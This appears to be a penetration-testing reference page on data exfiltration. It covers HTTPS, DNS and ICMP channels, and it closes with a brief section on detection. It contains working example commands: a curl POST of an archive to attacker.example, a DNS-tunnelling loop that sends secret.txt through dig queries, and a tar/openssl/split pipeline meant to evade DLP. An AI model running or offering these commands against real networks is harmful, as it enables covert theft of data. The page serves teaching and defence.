Data exfiltration
Exfiltration is the unauthorized removal of data from the target network to the attacker. It’s the phase that realizes the impact of an intrusion and, from the offensive side in a pentest, it demonstrates that egress controls (DLP, outbound filtering, detection) can be bypassed. It differs from plain file transfer in that the goal here is to evade detection, not just move the file.
flowchart LR
DATA[(Target data)] --> ENC["Compress + encrypt"]
ENC --> CH{"Channel"}
CH -->|HTTPS| ATK["Attacker"]
CH -->|DNS| ATK
CH -->|ICMP| ATK
Common channels
Section titled “Common channels”The criterion is to use protocols that egress usually allows and that generate little noise.
HTTP/HTTPS
Section titled “HTTP/HTTPS”The most common channel because outbound web is almost never blocked. Data in the body of a POST or, more stealthily, inside TLS.
# POST the content to an attacker-controlled endpointcurl -X POST --data-binary @loot.tar https://attacker.example/uWhen only DNS leaves the network. Slow but very hard to block: data is encoded into subdomains of a zone the attacker controls.
# concept: each label carries an encoded chunk of datafor c in $(base32 -w0 secret.txt | fold -w30); do dig $c.exfil.attacker.example +shortdoneData in the padding field of ping packets. Useful when ICMP leaves but everything else is filtered.
Reducing the footprint
Section titled “Reducing the footprint”- Compress and encrypt before leaving: less volume, and the content isn’t readable by a pattern-based DLP.
- Fragment: splitting into small pieces avoids transfer spikes that trigger alerts.
- Low and slow: space the sends out so they don’t stand out against normal traffic.
tar czf - /data | openssl enc -aes-256-cbc -pbkdf2 -out loot.encsplit -b 1M loot.enc part_ # fragment into 1 MB chunksDefensive perspective
Section titled “Defensive perspective”This technique is also studied from the other side: in DFIR and Threat Intelligence, exfiltration (MITRE ATT&CK, Exfiltration tactic TA0010) is detected by anomalous outbound volume, excessive DNS queries to a single domain, ICMP tunnels and connections to freshly registered destinations. Egress filtering, DNS inspection and traffic baselines are the key controls.
See also
Section titled “See also”- File transfer · Pivoting
- DFIR — Network forensics for analysis from the defensive side.
- MITRE ATT&CK for technique mapping.